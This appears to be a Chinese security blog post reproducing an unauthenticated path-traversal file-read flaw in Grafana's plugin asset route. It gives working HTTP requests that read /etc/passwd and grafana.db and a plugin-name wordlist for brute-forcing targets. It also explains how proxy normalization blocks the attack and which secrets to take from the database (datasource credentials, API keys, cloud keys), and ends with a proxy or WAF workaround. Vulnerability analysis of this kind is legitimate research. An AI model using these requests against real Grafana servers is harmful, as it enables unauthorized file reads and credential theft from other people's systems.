0x00 前言
早上看到chybeta发群里这漏洞的推特截图,隐隐约约记得我们也在用,不过我也没咋在意,直到chybeta和p🐂秒秒钟复现压力来到了我这边。我十分无助的硬着头皮打开github看grafana的最新版本代码,结果花了一中午,终于在吃了个猪肘饭后分析好了。(唉想上吊了)
下面就大概讲讲我是如何以一个不懂GO基础语法的角度来复现该漏洞的。另外后面会解释一下一些其他实际中遇到的情况。
我们可以借助历史漏洞的思路来简单分析一下
看到这个经典漏洞是先从api.go文件入手,那么我们也从这个入手 这边可以通过github的在线vscode直接审计,比如
我们打开api.go
看到很多路由,第二个参数看起来是需不需要验证。当然我们也能看到一些只有两个参数的,猜测两个参数的是默认不需要验证。那么既然是未授权读取文件,首先先找未授权接口:
通过名字就能判断功能,看两个参数还是三个参数就能知道授权不授权,粗略的看一下找一找未授权可能需要读取文件的功能接口。看看哪个函数里看着像读取文件的,比如有什么filepath什么的参数,通过这种方式快速过一下,大概就能找到了。比如这个plugins
进入getpluginassets里看看,
具体过程看上图即可,你看这个plugins就挺像的( 那么payload就很显然了,我们找到一个默认存在或者大概率存在的plugin比如grafana-clock-panel、prometheus等,我在复现的时候用的welcome
GET /public/plugins/welcome/../../../../../../../../etc/passwd HTTP/1.1
Host: localhost:3000
Connection: close
0x02 探测插件
因为插件本身可能会因为环境不同而不同,那么有几种思路
字典爆破
收集全部插件列表直接进行爆破请求确保百分百命中,可以直接去官方进行抓取字典(https://grafana.com/grafana/plugins/) 当然群友也收集了一些热门的作为字典
alertmanager
grafana
loki
postgres
grafana-azure-monitor-datasource
mixed
prometheus
cloudwatch
graphite
mssql
tempo
dashboard
influxdb
mysql
testdata
elasticsearch
jaeger
opentsdb
zipkin
alertGroups
bargauge
debug
graph
live
piechart
status-history
timeseries
alertlist
candlestick
gauge
heatmap
logs
pluginlist
table
welcome
annolist
canvas
geomap
histogram
news
stat
table-old
xychart
barchart
dashlist
gettingstarted
icon
nodeGraph
state-timeline
text
页面抓取
这个思路也是群友提供的,在登录页面上的js里可以探测到一些插件信息,只要用其中的一个插件名称来做字典就行了。也就是说可以按如下步骤进行:
请求登录页面
抓取登录页面的js里的插件名称
组合成url进行请求
比如上图的welcome插件和timeseries插件名称都有了,这些在登录页面就能获取到
关于400错误是很多人都遇见到的。这个错误主要出现在存在中间件反向代理的场景下,很多人不理解为什么自己复现不了,其实根本原因在于nginx或者apache这些常见反向代理中间件会对url进行normalize的操作,简单来说就是会在转发前将'../'这些去掉,而当去掉后的路径超出web根目录的限制就会直接返回400错误而不会把请求转发到grafana,因此就会导致复现失败。下面给出normalize的大致逻辑: nginx 主要参考文章(https://www.codenong.com/cs110392483/)
替换''为'/',并且判断如果存在空字符,则直接返回false ,也就是之后的400
替换'//' 为 '/'
对结尾的'/.' 和'/…' 加上'/'
去除'./'
然后处理'…/', 并且检查如果处理完后开头是'…/'的话就返回false,这也防止了路径穿越
apache 这个我之前分析过就直接抄自己的了
判断url第一个字符是不是'/',只有option * http/1.1这种的可以接受,其他返回400错误
判断url编码是否符合规范,不规范的返回400错误
将所有的'//////'变成'/'
去除'/./',如果存在'/../'或者'/.%2e/'则进行跳跃目录但是不能跨越web根目录,如果跨越返回400 另外补上url解码的一些特点
判断是否存在'%2f'即解码后是不是'/',如果是就返回404
判断是否存在'%00'即解码后是不是'\0',如果是就返回404
上面两个大家不仅会在复现这个的时候出现,复现其他任何东西的时候只要url路径(不包括参数)里满足都会遇到。
读/etc/passwd只能算测试,要想利用的话目前比较有实际情况的就是读取db文件。比如:
GET /public/plugins/welcome/../../../../../../../../var/lib/grafana/grafana.db HTTP/1.1
Host: localhost:3000
Connection: close
读取db很多人第一想法是读取登录账号密码,确实可以读,但是解密很困难,有salt和random的hash,基本上可以放弃,那么还能读什么呢?有几个可以关注一下
datasource的配置,什么mysql、es等乱七八糟的
apikey,这个可能还需要自行找一下相关算法,构造出apikey后就可以操纵grafana了
其他的东西比如水总有翻到一些云的ak等这样就可以控制云主机了
今天的grafana因为没有官方补丁,因此最好的临时修复方案是套上一层nginx或者apache作为反向代理,因为高版本中间件均会对路径做normalize操作,路径超出web根目录就会爆400错误,因此请求就到不了grafana了。当然有waf的也可以使用waf规则,这些都是可以的,waf的话注意被bypass的问题。